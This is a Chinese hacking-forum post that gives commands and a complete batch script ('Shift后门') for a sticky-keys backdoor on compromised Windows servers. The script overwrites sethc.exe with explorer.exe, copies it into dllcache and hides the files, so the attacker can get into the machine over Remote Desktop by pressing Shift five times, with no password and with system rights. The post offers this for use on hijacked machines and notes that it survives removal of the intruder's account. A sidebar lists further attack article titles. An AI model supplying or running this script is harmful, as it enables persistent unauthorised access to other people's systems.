[推荐]无需输入密码登陆3389在肉鸡上执行命令
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。
似乎2000也可以，XP不行。这两个系统没测试。
不知道有牛人知道是什么道理不.
小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe
Shift后门TT整理版
将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~
然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe
或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~
哇哈哈哈哈~~~
TITLE Shift后门
| 以下是引用片段： @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo Shift后门 By:TT 整合 QQ:869293 echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe echo 完成百分之 80 attrib c:\windows\system32\sethc.exe +h echo 完成百分之 90 attrib c:\windows\system32\dllcache\sethc.exe +h echo 完成百分之 100 cls echo. echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo 后门安装完毕！ echo. echo 感谢您使用Shift后门 echo. echo By：TT QQ: 869293 echo. echo http://www.hack518.net echo. echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. & pause exit |
| 无需输入密码登陆3389 | 09-04 | |
| 巧用SU添加管理帐号 | 09-04 | |
| 狂人DIY版2007b3爆洞 – 利用音乐 | 09-04 | |
| 浅谈CMD下开启远程服务 | 08-20 | |
| 实现无net.exe和net1.exe添加系统 | 08-11 | |
| 无需攻击lsass进程即可解密系统管 | 08-03 | |
| 手到擒来 23种恶意插件手工清除方 | 07-31 | |
| 网络渗透思路 | 07-16 | |
| 百度空间挂马分析! | 07-07 | |
| 电信禁止ADSL路由器上网的破解方 | 07-04 | |
| 各种网页木马挂马的代码 | 07-04 | |
| 简单打造不死鸽子 | 07-02 | |
您现在的位置：